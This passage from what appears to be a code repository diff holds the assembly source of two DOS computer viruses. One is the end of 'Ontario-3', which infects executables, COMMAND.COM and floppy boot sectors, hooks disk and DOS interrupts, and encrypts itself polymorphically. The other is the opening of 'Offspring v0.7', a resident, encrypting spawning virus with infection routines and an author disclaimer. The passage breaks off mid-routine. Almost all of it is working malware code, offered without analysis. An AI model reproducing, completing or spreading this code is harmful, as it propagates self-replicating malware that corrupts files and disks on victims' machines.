cmp word ptr ds:readbuffer+10h,0A01h ; already infected?
|
||||
je jmp_infectDSDXerror
|
||||
cmp word ptr ds:readbuffer+1Ah,0
|
||||
jne isanoverlay ; exit if it's an overlay
|
||||
|
||||
push dx
|
||||
push ax
|
||||
mov cl,4
|
||||
ror dx,cl
|
||||
shr ax,cl
|
||||
add ax,dx ; ax:dx = file size
|
||||
sub ax,word ptr ds:readbuffer+8 ; subtract header size
|
||||
mov si,offset readbuffer+14h
|
||||
mov di,offset origCSIP
|
||||
movsw ; save initial CS:IP
|
||||
movsw
|
||||
mov si,offset readbuffer+0Eh
|
||||
movsw ; save initial SS:SP
|
||||
movsw
|
||||
mov word ptr ds:readbuffer+16h,ax ; set initial CS
|
||||
mov word ptr ds:readbuffer+0Eh,ax ; set initial SS
|
||||
mov word ptr ds:readbuffer+10h,0A01h ; set initial SP
|
||||
pop ax
|
||||
pop dx
|
||||
push ax
|
||||
add ax,0A01h
|
||||
|
||||
; adc dx,0 works just as well
|
||||
jnc infectEXEnocarry
|
||||
inc dx
|
||||
infectEXEnocarry:
|
||||
mov cx,200h ; take image size
|
||||
div cx
|
||||
; The next line is not entirely corrrect. The image size
|
||||
; div 512 is rounded up. Therefore, DOS will find this number
|
||||
; to be off by 512d bytes
|
||||
mov word ptr ds:readbuffer+4,ax ; image size div 512
|
||||
mov word ptr ds:readbuffer+2,dx ; image size mod 512
|
||||
pop ax
|
||||
and ax,0Fh
|
||||
mov word ptr ds:readbuffer+14h,ax ; set initial IP
|
||||
add ax,offset enddecrypt
|
||||
infectDSDXcontinue:
|
||||
mov word ptr ds:patch2,ax ; patch start area
|
||||
push bx ; save file handle
|
||||
xor byte ptr ds:decrypt_loop,18h ; swap SS: & CS:
|
||||
call encrypt ; encrypt virus to buffer
|
||||
pop bx ; restore file handle
|
||||
mov ah,40h ; Concatenate encrypted
|
||||
call callint21 ; virus
|
||||
jc infectDSDXclose ; exit on error
|
||||
xor dx,dx
|
||||
mov cx,dx
|
||||
mov ax,4200h ; go to start of file
|
||||
call callint21
|
||||
jc infectDSDXclose
|
||||
mov dx,offset readbuffer
|
||||
mov cx,1Ch
|
||||
mov ah,40h ; Write new header
|
||||
call callint21
|
||||
infectDSDXclose:
|
||||
pop cx
|
||||
pop dx
|
||||
jc infectDSDXnoaltertime
|
||||
cmp byte ptr ds:infCOMMAND,0FFh ; infecting COMMAND.COM?
|
||||
je infectDSDXnoaltertime
|
||||
or cl,1Fh ; set time to 62 seconds
|
||||
infectDSDXnoaltertime:
|
||||
mov ax,5701h ; restore file time/date
|
||||
call callint21
|
||||
mov ah,3Eh ; Close file
|
||||
call callint21
|
||||
infectDSDXrestoreattributes:
|
||||
mov byte ptr cs:infCOMMAND,0
|
||||
mov byte ptr cs:infectSYS,0
|
||||
popf
|
||||
pop cx
|
||||
pop ds
|
||||
pop dx
|
||||
jc infectDSDXexit
|
||||
mov ax,4301h ; restore file attributes
|
||||
call callint21
|
||||
infectDSDXexit:
|
||||
call restoreint13and24
|
||||
call popall
|
||||
retn
|
||||
|
||||
pushall:
|
||||
push bp
|
||||
mov bp,sp
|
||||
push bx
|
||||
push cx
|
||||
push dx
|
||||
push si
|
||||
push di
|
||||
push ds
|
||||
push es
|
||||
pushf
|
||||
xchg ax,[bp+2]
|
||||
push ax
|
||||
mov ax,[bp+2]
|
||||
retn
|
||||
|
||||
popall:
|
||||
pop ax
|
||||
xchg ax,[bp+2]
|
||||
popf
|
||||
pop es
|
||||
pop ds
|
||||
pop di
|
||||
pop si
|
||||
pop dx
|
||||
pop cx
|
||||
pop bx
|
||||
pop bp
|
||||
retn
|
||||
|
||||
replaceint13and24:
|
||||
push ds
|
||||
xor ax,ax
|
||||
mov ds,ax
|
||||
mov si,13h*4
|
||||
lodsw
|
||||
mov word ptr cs:origint13_1,ax
|
||||
lodsw
|
||||
mov word ptr cs:origint13_2,ax
|
||||
mov si,24h*4
|
||||
lodsw
|
||||
mov word ptr cs:origint24_1,ax
|
||||
lodsw
|
||||
mov word ptr cs:origint24_2,ax
|
||||
mov word ptr ds:13h*4,1234h
|
||||
storeint13_1 = $ - 2
|
||||
mov word ptr ds:13h*4+2,1234h
|
||||
storeint13_2 = $ - 2
|
||||
mov word ptr ds:24h*4,offset int24 ; replace int 24 handler
|
||||
mov ds:24h*4+2,cs
|
||||
pop ds
|
||||
retn
|
||||
|
||||
restoreint13and24:
|
||||
xor ax,ax
|
||||
mov ds,ax
|
||||
mov word ptr ds:13h*4,1234h
|
||||
origint13_1 = $ - 2
|
||||
mov word ptr ds:13h*4+2,1234h
|
||||
origint13_2 = $ - 2
|
||||
mov word ptr ds:24h*4,1234h
|
||||
origint24_1 = $ - 2
|
||||
mov word ptr ds:24h*4+2,1234h
|
||||
origint24_2 = $ - 2
|
||||
retn
|
||||
|
||||
int24:
|
||||
xor al,al
|
||||
iret
|
||||
|
||||
encrypt:
|
||||
mov di,offset patch4
|
||||
mov si,di
|
||||
mov word ptr [si],offset save4 - offset enddecrypt
|
||||
xor bx,bx
|
||||
call random
|
||||
jz encrypt1
|
||||
add bl,4
|
||||
inc di
|
||||
encrypt1:
|
||||
call random
|
||||
in al,40h ; get random #
|
||||
mov bh,al
|
||||
jz encrypt2
|
||||
add [di],al ; alter amount to encrypt
|
||||
add bl,28h
|
||||
jmp short encrypt3
|
||||
encrypt2:
|
||||
sub [di],al ; alter amount to encrypt
|
||||
encrypt3:
|
||||
add bl,0C1h
|
||||
mov [si+3],bx
|
||||
call random
|
||||
jz encrypt4
|
||||
xor byte ptr [si+2],2 ; flip betwen add/sub
|
||||
encrypt4:
|
||||
in ax,40h ; get random number != 0
|
||||
or ax,ax
|
||||
jz encrypt4
|
||||
mov bx,3 ; first choose one of
|
||||
xor dx,dx ; three possible registers
|
||||
div bx
|
||||
xchg ax,bx
|
||||
inc ax ; ax = 4
|
||||
mul dx ; convert to offset in
|
||||
xchg ax,bx ; table
|
||||
lea si,[bx+offset table1]
|
||||
lodsb
|
||||
mov byte ptr ds:patch1,al
|
||||
lodsb
|
||||
mov byte ptr ds:patch9,al
|
||||
lodsb
|
||||
mov byte ptr ds:patch12,al
|
||||
lodsb
|
||||
mov byte ptr ds:patch15,al
|
||||
call random
|
||||
jz encrypt5
|
||||
xor byte ptr ds:patch13,2 ; loop/loopnz
|
||||
encrypt5:
|
||||
in ax,40h ; get random number
|
||||
mov byte ptr ds:patch8,ah
|
||||
and ax,0Fh
|
||||
xchg ax,bx
|
||||
shl bx,1
|
||||
mov ax,[bx+offset table2]
|
||||
mov word ptr ds:patch10,ax
|
||||
xor si,si
|
||||
mov di,offset encryptbuffer ; copy virus to
|
||||
mov cx,endvirus - decrypt ; temporary buffer
|
||||
push cx ; for encryption
|
||||
cld
|
||||
rep movsb
|
||||
mov bx,offset enddecrypt
|
||||
push word ptr [bx] ; save it
|
||||
mov byte ptr [bx],0C3h ; put retn in its place
|
||||
push bx
|
||||
xor byte ptr [bx-7],28h ; sub/add
|
||||
push word ptr ds:decrypt_loop
|
||||
mov byte ptr [bx-8],2Eh ; CS:
|
||||
mov dx,offset encryptbuffer
|
||||
add bx,dx
|
||||
mov word ptr ds:patch2,bx
|
||||
call decrypt
|
||||
pop word ptr ds:decrypt_loop
|
||||
pop bx
|
||||
pop word ptr [bx]
|
||||
pop cx
|
||||
retn
|
||||
|
||||
|
||||
random: ; 1/2 chance of zero flag set
|
||||
in al,40h
|
||||
and al,1
|
||||
cmp al,1
|
||||
retn
|
||||
|
||||
|
||||
saveorigvectors:
|
||||
push ds
|
||||
push ax
|
||||
xor ax,ax
|
||||
mov ds,ax
|
||||
mov ax,ds:13h*4
|
||||
mov word ptr cs:[bx+storeint13_1],ax
|
||||
mov ax,ds:13h*4+2
|
||||
mov word ptr cs:[bx+storeint13_2],ax
|
||||
mov ax,ds:21h*4
|
||||
mov word ptr cs:[bx+offset oldint21],ax
|
||||
mov ax,ds:21h*4+2
|
||||
mov word ptr cs:[bx+offset oldint21+2],ax
|
||||
pop ax
|
||||
pop ds
|
||||
retn
|
||||
|
||||
strategy:
|
||||
mov word ptr cs:[bx+doffset],bx ; save delta offset
|
||||
pop bx
|
||||
pop di
|
||||
pop si
|
||||
call pushall
|
||||
push cs
|
||||
pop ds
|
||||
mov bx,1234h ; restore delta offset
|
||||
doffset = $ - 2
|
||||
db 8bh, 87h ; mov ax,ds:[save4+6]
|
||||
dw offset save4 + 6 ; get old strategy entry point
|
||||
mov word ptr ds:[6],ax ; and restore to file header
|
||||
int 12h ; Get memory size in K
|
||||
sub ax,5 ; decrease by 5 K
|
||||
mov cl,6 ; convert to paragraphs
|
||||
shl ax,cl
|
||||
mov es,ax
|
||||
mov word ptr ds:[bx+himemsegment],ax
|
||||
cmp byte ptr es:[3],0B9h ; check if already installed
|
||||
je strategyexit
|
||||
mov si,bx ; copy to high memory
|
||||
xor di,di
|
||||
mov cx,viruslength
|
||||
rep movsb
|
||||
pushf
|
||||
db 09Ah ; call far ptr
|
||||
dw infectCOMMANDCOM
|
||||
himemsegment dw 0
|
||||
|
||||
strategyexit:
|
||||
call popall
|
||||
jmp word ptr cs:[6] ; go to original strategy
|
||||
|
||||
table1 db 0BEh, 04h, 46h,0F3h ; si
|
||||
db 0BFh, 05h, 47h,0FBh ; di
|
||||
db 0BBh, 07h, 43h,0DBh ; bx
|
||||
|
||||
table2: inc al
|
||||
dec al
|
||||
inc ax
|
||||
inc ax
|
||||
dec ax
|
||||
dec ax
|
||||
add al,cl
|
||||
sub al,cl
|
||||
xor al,cl
|
||||
xor al,ch
|
||||
not al
|
||||
neg al
|
||||
ror al,1
|
||||
rol al,1
|
||||
ror al,cl
|
||||
rol al,cl
|
||||
nop
|
||||
nop
|
||||
add al,ch
|
||||
|
||||
comspec db 'COMSPEC='
|
||||
command_com db '\COMMAND.COM',0
|
||||
|
||||
validextensions db 'COMEXEOVLSYS'
|
||||
|
||||
bootsector: ; offset 600h in the virus
|
||||
jmp short bootsectorentry
|
||||
nop
|
||||
bootparms db 3Bh dup (0)
|
||||
|
||||
bootsectorentry:
|
||||
xor ax,ax
|
||||
mov ds,ax
|
||||
cli
|
||||
mov ss,ax
|
||||
mov sp,7C00h
|
||||
sti
|
||||
mov ax,ds:13h*4 ; get int 13h handler
|
||||
mov word ptr ds:[7C00h+oldint13-bootsector],ax
|
||||
mov ax,ds:13h*4+2 ; and save it
|
||||
mov word ptr ds:[7C00h+oldint13+2-bootsector],ax
|
||||
mov ax,ds:[413h] ; get total memory
|
||||
sub ax,2 ; reduce by 2K
|
||||
mov ds:[413h],ax ; replace memory size
|
||||
mov cl,6
|
||||
shl ax,cl ; convert to paragraphs
|
||||
sub ax,60h ; go to boot block start
|
||||
mov es,ax
|
||||
mov si,sp
|
||||
mov di,offset bootsector
|
||||
mov cx,100h
|
||||
rep movsw
|
||||
mov dx,offset highentry
|
||||
push es
|
||||
push dx
|
||||
retf
|
||||
highentry:
|
||||
xor ax,ax ; reset disk
|
||||
and dl,al
|
||||
int 13h
|
||||
push ds
|
||||
push es
|
||||
pop ds
|
||||
pop es
|
||||
mov bx,sp ; read to 0:7C00h
|
||||
mov dx,drivehead ; find where original boot
|
||||
mov cx,sectortrack ; block stored and then
|
||||
mov ax,201h ; read original boot
|
||||
int 13h ; sector
|
||||
jc $ ; halt on error
|
||||
xor ax,ax ; else chain to original
|
||||
mov ds,ax ; boot sector
|
||||
mov word ptr ds:13h*4,offset int13
|
||||
mov ds:13h*4+2,cs ; replace int 13h handler
|
||||
push es
|
||||
push bx
|
||||
retf
|
||||
|
||||
int13:
|
||||
push bp
|
||||
mov bp,sp
|
||||
push ds
|
||||
push es
|
||||
push si
|
||||
push di
|
||||
push dx
|
||||
push cx
|
||||
push bx
|
||||
push ax
|
||||
pushf
|
||||
xor bx,bx
|
||||
mov ds,bx
|
||||
test byte ptr ds:[43Fh],1 ; A: spinning?
|
||||
jnz exitint13 ; exit if so
|
||||
or dl,dl ; default drive?
|
||||
jnz exitint13 ; exit if not
|
||||
cmp ah,2 ; read/write/verify?
|
||||
jb exitint13
|
||||
cmp ah,4
|
||||
jbe trapint13
|
||||
exitint13:
|
||||
popf
|
||||
pop ax
|
||||
pop bx
|
||||
pop cx
|
||||
pop dx
|
||||
pop di
|
||||
pop si
|
||||
pop es
|
||||
pop ds
|
||||
pop bp
|
||||
jmp dword ptr cs:oldint13 ; chain to original handler
|
||||
|
||||
trapint13:
|
||||
cld
|
||||
push cs
|
||||
push cs
|
||||
pop es
|
||||
pop ds
|
||||
xor cx,cx
|
||||
mov dx,cx
|
||||
inc cx
|
||||
mov bx,offset endvirus ; read boot block to
|
||||
mov ax,201h ; buffer at endvirus
|
||||
call callint13
|
||||
jnc int13readOK
|
||||
int13exit:
|
||||
jmp short exitint13
|
||||
int13readOK:
|
||||
cmp word ptr [bx+15h],501Eh ; push ds, push ax?
|
||||
jne int13skip
|
||||
cmp word ptr [bx+35h],0FF2Eh; jmp cs: ?
|
||||
jne int13skip
|
||||
cmp word ptr [bx+70h],7505h ; add ax,XX75 ?
|
||||
jne int13skip
|
||||
mov dh,1
|
||||
mov cl,3
|
||||
mov ax,201h
|
||||
call callint13
|
||||
xor dh,dh
|
||||
mov cl,1
|
||||
mov ax,301h
|
||||
call callint13
|
||||
int13skip:
|
||||
cmp word ptr ds:[offset endvirus-bootsector+YAM],'Y*'
|
||||
je int13exit ; don't infect self
|
||||
cmp word ptr ds:[offset endvirus+0Bh],200h
|
||||
jne int13exit ; infect only 512 bytes per sector
|
||||
cmp byte ptr ds:[offset endvirus+0Dh],2
|
||||
jne int13exit ; only 2 reserved sectors
|
||||
cmp word ptr ds:[offset endvirus+1Ah],2
|
||||
ja int13exit ; only 2 sec/track
|
||||
xor dx,dx ; calculate new location of boot block
|
||||
mov ax,word ptr ds:[offset endvirus+13h] ; total sec
|
||||
mov bx,word ptr ds:[offset endvirus+1Ah] ; sec/track
|
||||
mov cx,bx
|
||||
div bx ; # track
|
||||
xor dx,dx
|
||||
mov bx,word ptr ds:[offset endvirus+18h] ; sec/FAT
|
||||
div bx
|
||||
sub word ptr ds:[offset endvirus+13h],cx ; total sec
|
||||
dec ax
|
||||
mov byte ptr sectortrack+1,al
|
||||
mov ax,word ptr ds:[offset endvirus+18h] ; sec/FAT
|
||||
mov byte ptr sectortrack,al
|
||||
mov ax,word ptr ds:[offset endvirus+1Ah] ; sec/track
|
||||
dec ax
|
||||
mov byte ptr drivehead+1,al
|
||||
mov byte ptr drivehead,0
|
||||
mov dx,drivehead ; move original boot block
|
||||
mov cx,sectortrack ; to end of disk
|
||||
mov bx,offset endvirus
|
||||
mov ax,301h
|
||||
call callint13
|
||||
jc go_exitint13
|
||||
mov si,offset endvirus+3 ; copy parameters so
|
||||
mov di,offset bootparms ; no one notices boot
|
||||
mov cx,bootsectorentry - bootparms ; block is changed
|
||||
rep movsb
|
||||
xor cx,cx
|
||||
mov dx,cx
|
||||
inc cx
|
||||
mov bx,offset bootsector ; copy virus boot block
|
||||
mov ax,301h
|
||||
call callint13
|
||||
go_exitint13:
|
||||
jmp exitint13
|
||||
|
||||
callint21:
|
||||
pushf
|
||||
call dword ptr cs:oldint21
|
||||
retn
|
||||
|
||||
callint13:
|
||||
pushf
|
||||
call dword ptr cs:oldint13
|
||||
retn
|
||||
|
||||
oldint13 dd 0
|
||||
drivehead dw 100h
|
||||
sectortrack dw 2709h
|
||||
YAM db '*YAM*',1Ah
|
||||
db 'Your PC has a bootache! - Get some medicine!',1Ah
|
||||
db 'Ontario-3 by Death Angel',1Ah,1Ah,1Ah,1Ah
|
||||
save4:
|
||||
origCSIP db 0CDh, 020h, 0, 0
|
||||
origSSSP dd 0
|
||||
|
||||
endvirus:
|
||||
|
||||
viruslength = $ - decrypt
|
||||
|
||||
infCOMMAND db ?
|
||||
infectSYS db ?
|
||||
readbuffer db 01Ch dup (?)
|
||||
encryptbuffer db viruslength dup (?)
|
||||
|
||||
end decrypt
|
||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,714 @@
|
||||
;-------------------------------------------------------------------------
|
||||
; ************************************************
|
||||
; OFFSPRING v0.7 - BY VIROGEN - 04-26-93
|
||||
; ************************************************
|
||||
;
|
||||
; - Compatible with A86 v3.22
|
||||
;
|
||||
;
|
||||
; DISCLAIMER : Don't hold me responsible for any damages, or the release
|
||||
; of this virus. Use at your own risk.
|
||||
;
|
||||
; TYPE : Parastic Spawning Resident Encrypting (PSRhA)
|
||||
;
|
||||
;
|
||||
; VERSION : BETA 0.7
|
||||
;
|
||||
; INFECTION METHOD : Everytime DOS function 3Bh (change dir) or function
|
||||
; 0Eh (change drive) is called the virus will infect
|
||||
; up to 5 files in the current directory (the one
|
||||
; you're coming out of). It will first infect all
|
||||
; EXE files by creating a corresponding COM. Once
|
||||
; all EXE files have been infected, it then infects
|
||||
; COM files. All COM files created by a spawning
|
||||
; infection will have the read-only and hidden
|
||||
; attribute.
|
||||
;
|
||||
;
|
||||
; THE ENCRYPION OF THIS VIRUS :
|
||||
; Ok, this virus's encryption method is a simple
|
||||
; XOR. The encryption operands are changed directly.
|
||||
; Also, the operands are switched around, and the
|
||||
; bytes between them are constantly changed. The
|
||||
; call to the encryption routine changes, so the
|
||||
; address can be anywhere in a field of NOPs.
|
||||
; Not anything overly amazing, but it works.
|
||||
;
|
||||
;
|
||||
TITLE OFFSPRING_1
|
||||
.286
|
||||
CSEG SEGMENT
|
||||
ASSUME CS: CSEG, SS: CSEG, ES: CSEG
|
||||
|
||||
SIGNAL EQU 7DH ; Installation check
|
||||
REPLY EQU 0FCH ; reply to check
|
||||
CR EQU 0DH ; carraige return
|
||||
LF EQU 0AH ; line feed
|
||||
F_NAME EQU 1EH ; Offset of file name in FF/FN buffer
|
||||
F_SIZEL EQU 1CH ; File size - low
|
||||
F_SIZEH EQU 1AH ; File size - high
|
||||
F_DATE EQU 18H ; File date
|
||||
F_TIME EQU 16H ; File time
|
||||
MAX_INF EQU 05 ; Maximum files to infect per run
|
||||
MAX_ROTATION EQU 9 ; number of bytes in switch byte table
|
||||
PARASTIC EQU 01 ; Parastic infection
|
||||
SPAWN EQU 00 ; Spawning infection
|
||||
|
||||
ORG 100H ; Leave room for PSP
|
||||
|
||||
;------------------------------------------------------------------
|
||||
; Start of viral code
|
||||
;------------------------------------------------------------------
|
||||
|
||||
START:
|
||||
|
||||
DB 0BEH ; MOV SI,xxxx - Load delta offset
|
||||
SET_SI: DW 0000H
|
||||
|
||||
SKIP_DEC: JMP NO_DEC ; Skip decryption, changes into NOP on
|
||||
; replicated copies.
|
||||
M_SW1: NOP ; changs into a byte in op_set
|
||||
XCHG_1 DB 0BFH
|
||||
DW OFFSET ENC_DATA+2 ; Point to byte after encryption num
|
||||
; Switches positions with XCHG_2
|
||||
M_SW2: NOP ; changes into a byte in op_set
|
||||
XCHG_2 DB 090H
|
||||
ENC_NUM DW 9090H
|
||||
M_SW3: NOP
|
||||
|
||||
DI_INS: DW 0C783H ; ADD DI,0 - changes to ADD DI,xxxx
|
||||
ADD_DI: DW 9000H ; 00-NOP
|
||||
|
||||
CALL_ENC DB 0E8 ; Call encryption routine - address changes
|
||||
E_JMP DW (OFFSET END_ENCRYPT-OFFSET E_JMP+2)
|
||||
NO_DEC:
|
||||
JMP MAIN ; Jump to virus code
|
||||
|
||||
;-----------------------------------------------
|
||||
; Data area
|
||||
;-----------------------------------------------
|
||||
|
||||
ENC_DATA DW 0000 ; Start of encrypted data
|
||||
ROT_NUM DW 0000 ; Used when replacing bytes with OP_SET
|
||||
VTYPE DB 00 ; Spawning or Parastic Infection?
|
||||
INF_COUNT DB 0 ; How many files we have infected this run
|
||||
COM_NAME DB 'COMMAND.COM' ; obvious
|
||||
NEW_CODE DW 9090H ; ID bytes
|
||||
NEW_JMP DB 0E9H,00,00 ; New Jump
|
||||
FIRST_FIVE DB 5 DUP(0) ; original first five bytes of parasic inf.
|
||||
ADD_MEM DB 0 ; restore mem size? Yes,No
|
||||
|
||||
ID DB CR,LF,'(c)1993 negoriV',CR,LF ; my copyright
|
||||
VNAME DB CR,LF,'* Thank you for providing me and my offspring with a safe place to live *'
|
||||
DB CR,LF,'* Offspring I v0.07. *',CR,LF,'$'
|
||||
|
||||
FNAME1 DB '*.EXE',0 ; Filespec
|
||||
FNAME2 DB '*.COM',0 ; Filespec
|
||||
FNAME_OFF DW FNAME1 ; Offset of Filespec to use
|
||||
TIMES_INC DB 0 ; # of times encryption call incremented
|
||||
SL DB '\' ; Backslash for directory name
|
||||
FILE_DIR DB 64 DUP(0) ; directory of file we infected
|
||||
FILE_NAME DB 13 DUP(0) ; filename of file we infected
|
||||
OLD_DTA DD 0 ; old seg:off of DTA
|
||||
OLD21_OFS DW 0 ; Offset of old INT 21H
|
||||
OLD21_SEG DW 0 ; Seg of old INT 21h
|
||||
NEW_SEG DW 0 ; New segment in high mem
|
||||
|
||||
PAR_BLK DW 0 ; command line count byte -psp
|
||||
PAR_CMD DW 0080H ; Point to the command line -psp
|
||||
PAR_SEG DW 0 ; seg
|
||||
DW 05CH ; Use default FCB's in psp to save space
|
||||
PAR1 DW 0 ;
|
||||
DW 06CH ; FCB #2
|
||||
PAR2 DW 0 ;
|
||||
|
||||
;--------------------------------------------------------------------
|
||||
; INT 21h
|
||||
;---------------------------------------------------------------------
|
||||
|
||||
NEW21 PROC ; New INT 21H handler
|
||||
|
||||
CMP AH, SIGNAL ; signaling us?
|
||||
JNE NO
|
||||
MOV AH,REPLY ; yep, give our offspring what he wants
|
||||
JMP END_21
|
||||
NO:
|
||||
CMP AH, 3BH ; set dir func?
|
||||
JE RUN_RES
|
||||
CMP AH,0EH ; set disk func?
|
||||
JE RUN_RES
|
||||
|
||||
JMP END_21
|
||||
|
||||
RUN_RES:
|
||||
PUSHF
|
||||
PUSH AX ; Push regs
|
||||
PUSH BX
|
||||
PUSH CX
|
||||
PUSH DX
|
||||
PUSH DI
|
||||
PUSH SI
|
||||
PUSH BP
|
||||
PUSH DS
|
||||
PUSH ES
|
||||
PUSH SP
|
||||
PUSH SS
|
||||
|
||||
PUSH CS
|
||||
POP DS
|
||||
|
||||
XOR AX,AX ; nullify ES
|
||||
MOV ES,AX
|
||||
|
||||
CMP ADD_MEM,1 ; Restore system conventional mem size?
|
||||
JE REL_MEM ;
|
||||
CMP AH,48H ; alloc. mem block? If so we subtract 3k from
|
||||
JE SET_MEM ; total system memory.
|
||||
|
||||
JMP NO_MEM_FUNC
|
||||
|
||||
SET_MEM:
|
||||
SUB WORD PTR ES: [413H],3 ; Subtract 3k from total sys mem
|
||||
INC ADD_MEM ; make sure we know to add this back
|
||||
JMP NO_MEM_FUNC
|
||||
REL_MEM:
|
||||
ADD WORD PTR ES: [413H],3 ; Add 3k to total sys mem
|
||||
DEC ADD_MEM
|
||||
|
||||
|
||||
NO_MEM_FUNC:
|
||||
MOV AH,2FH
|
||||
INT 21H ; Get the DTA
|
||||
|
||||
MOV AX,ES
|
||||
MOV WORD PTR OLD_DTA,BX
|
||||
MOV WORD PTR OLD_DTA+2,AX
|
||||
PUSH CS
|
||||
POP ES
|
||||
|
||||
CALL RESIDENT ; Call infection kernal
|
||||
|
||||
MOV DX,WORD PTR OLD_DTA
|
||||
MOV AX,WORD PTR OLD_DTA+2
|
||||
MOV DS,AX
|
||||
MOV AH,1AH
|
||||
INT 21H ; Restore the DTA
|
||||
|
||||
POP SS ; Pop regs
|
||||
POP SP
|
||||
POP ES
|
||||
POP DS
|
||||
POP BP
|
||||
POP SI
|
||||
POP DI
|
||||
POP DX
|
||||
POP CX
|
||||
POP BX
|
||||
POP AX
|
||||
POPF
|
||||
END_21 :
|
||||
JMP [ DWORD PTR CS: OLD21_OFS] ; jump to original int 21h
|
||||
IRET
|
||||
NEW21 ENDP ; End of handler
|
||||
|
||||
|
||||
;------------------------------------------------------------
|
||||
; Main
|
||||
;-----------------------------------------------------------
|
||||
MAIN PROC
|
||||
|
||||
MOV WORD PTR [SI+OFFSET SKIP_DEC],9090H ; NOP the jump past decryption
|
||||
MOV BYTE PTR [SI+OFFSET SKIP_DEC+2],90H
|
||||
|
||||
MOV AX,DS: 002CH ; Get environment address
|
||||
MOV [SI+OFFSET PAR_BLK],AX ; Save in parameter block for exec
|
||||
|
||||
MOV [SI+OFFSET PAR1],CS ; Save segments for EXEC
|
||||
MOV [SI+OFFSET PAR2],CS
|
||||
MOV [SI+OFFSET PAR_SEG],CS
|
||||
|
||||
MOV AH,2AH ; Get date
|
||||
INT 21H
|
||||
|
||||
CMP DL,14 ; 14th?
|
||||
JNE NO_DISPLAY
|
||||
|
||||
MOV AH,09 ; Display message
|
||||
LEA DX,[SI+OFFSET ID]
|
||||
INT 21H
|
||||
|
||||
NO_DISPLAY:
|
||||
CALL INSTALL ; check if installed, if not install
|
||||
|
||||
CMP BYTE PTR [SI+OFFSET VTYPE],PARASTIC
|
||||
JE SKIP_THIS
|
||||
MOV BX,(OFFSET VEND+50) ; Calculate memory needed
|
||||
MOV CL,4 ; divide by 16
|
||||
SHR BX,CL
|
||||
INC BX
|
||||
MOV AH,4AH
|
||||
INT 21H ; Release un-needed memory
|
||||
|
||||
LEA DX,[SI+OFFSET FILE_DIR -1] ; Execute the original EXE
|
||||
LEA BX,[SI+OFFSET PAR_BLK]
|
||||
MOV AX,4B00H
|
||||
INT 21H
|
||||
|
||||
MOV AH,4CH ; Exit
|
||||
INT 21H
|
||||
|
||||
SKIP_THIS:
|
||||
|
||||
MOV CX,5 ; Restore original first
|
||||
ADD SI,OFFSET FIRST_FIVE ; five bytes of COM file
|
||||
MOV DI,0100H
|
||||
CLD
|
||||
REP MOVSB
|
||||
|
||||
MOV AX,0100H ; Simulate CALL return to 0100h
|
||||
PUSH AX
|
||||
RET
|
||||
|
||||
MAIN ENDP
|
||||
|
||||
;---------------
|
||||
; INSTALL - Install the virus
|
||||
;--------------
|
||||
|
||||
INSTALL PROC
|
||||
|
||||
MOV AH,SIGNAL
|
||||
INT 21H
|
||||
CMP AH,REPLY
|
||||
JE NO_INSTALL
|
||||
|
||||
MOV AX,CS
|
||||
DEC AX
|
||||
MOV DS,AX
|
||||
CMP BYTE PTR DS: [0],'Z' ;Is this the last MCB in
|
||||
;the chain?
|
||||
JNE NO_INSTALL
|
||||
|
||||
|
||||
MOV AX,DS: [3] ;Block size in MCB
|
||||
SUB AX,190 ;Shrink Block Size-quick estimate
|
||||
MOV DS: [3],AX
|
||||
|
||||
MOV BX,AX
|
||||
MOV AX,ES
|
||||
ADD AX,BX
|
||||
MOV ES,AX ;Find high memory seg
|
||||
|
||||
PUSH SI
|
||||
ADD SI,0100H
|
||||
MOV CX,(OFFSET VEND - OFFSET START)
|
||||
MOV AX,DS
|
||||
INC AX
|
||||
MOV DS,AX
|
||||
MOV DI,100H ; New location in high memory
|
||||
CLD
|
||||
REP MOVSB ; Copy virus to high memory
|
||||
|
||||
POP SI
|
||||
MOV DS: NEW_SEG,ES ;Save new segment
|
||||
|
||||
PUSH ES
|
||||
POP DS
|
||||
XOR AX,AX
|
||||
MOV ES,AX ; null es
|
||||
MOV AX,ES: [21H*4+2]
|
||||
MOV BX,ES: [21H*4]
|
||||
MOV DS: OLD21_SEG,AX ; Store segment
|
||||
MOV DS: OLD21_OFS,BX ; Store offset
|
||||
|
||||
CLI
|
||||
|
||||
MOV ES: [21H*4+2],DS ; Save seg
|
||||
LEA AX,[OFFSET NEW21]
|
||||
MOV ES: [21H*4],AX ; off
|
||||
|
||||
STI
|
||||
|
||||
NO_INSTALL:
|
||||
PUSH CS ; Restore regs
|
||||
POP DS
|
||||
MOV ES,DS
|
||||
|
||||
RET
|
||||
INSTALL ENDP
|
||||
|
||||
;------------------------
|
||||
; Resident - This is called from the INT 21h handler
|
||||
;-----------------------------
|
||||
RESIDENT PROC
|
||||
|
||||
MOV VTYPE,SPAWN
|
||||
MOV WORD PTR SET_SI,0000 ; SI=0000 on load
|
||||
MOV BYTE PTR DI_INS,83H ; ADD DI,0 op
|
||||
MOV WORD PTR ADD_DI,9000H ; 0090h for ADD DI,00
|
||||
MOV BYTE PTR INF_COUNT,0 ; null infection count
|
||||
MOV FNAME_OFF, OFFSET FNAME1 ; Set search for *.EXE
|
||||
|
||||
FIND_FIRST:
|
||||
MOV WORD PTR VEND,0 ; Clear ff/fn buffer
|
||||
LEA SI, VEND
|
||||
LEA DI, VEND+2
|
||||
MOV CX,22
|
||||
CLD
|
||||
REP MOVSW
|
||||
|
||||
; Set DTA address - This is for the Findfirst/Findnext INT 21H functions
|
||||
MOV AH, 1AH
|
||||
LEA DX, VEND
|
||||
INT 21H
|
||||
|
||||
MOV AH, 4EH ; Findfirst
|
||||
MOV CX, 0 ; Set normal file attribute search
|
||||
MOV DX, FNAME_OFF
|
||||
INT 21H
|
||||
|
||||
JNC NEXT_LOOP ; if still finding files then loop
|
||||
JMP END_PROG
|
||||
|
||||
NEXT_LOOP :
|
||||
CMP VTYPE, PARASTIC ; parastic infection?
|
||||
JE START_INF ; yes, skip all this
|
||||
|
||||
MOV AH,47H
|
||||
XOR DL,DL
|
||||
LEA SI,FILE_DIR
|
||||
INT 21H
|
||||
|
||||
CMP WORD PTR VEND[F_SIZEL],0 ; Make sure file isn't 64k+
|
||||
JE OK_FIND ; for spawning infections
|
||||
JMP FIND_FILE
|
||||
|
||||
OK_FIND:
|
||||
XOR BX,BX
|
||||
LM3 : ; find end of directory name
|
||||
INC BX
|
||||
CMP FILE_DIR[BX],0
|
||||
JNE LM3
|
||||
|
||||
MOV FILE_DIR[BX],'\' ; append backslash to path
|
||||
INC BX
|
||||
|
||||
MOV CX,13 ; append filename to path
|
||||
LEA SI,VEND[F_NAME]
|
||||
LEA DI,FILE_DIR[BX]
